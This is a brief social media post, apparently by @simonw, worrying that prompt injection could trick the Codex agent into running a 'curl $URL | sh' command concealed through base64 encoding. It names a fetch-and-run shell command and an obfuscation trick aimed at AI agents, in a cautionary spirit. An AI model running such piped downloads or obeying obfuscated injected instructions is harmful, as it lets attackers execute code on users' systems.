Those look good in non-adversarial environments, but I still worry about deliberate prompt injection attacks, like tricking Codex into running a curl $URL | sh command through obfuscating details via base64

→ View original post on X — @simonw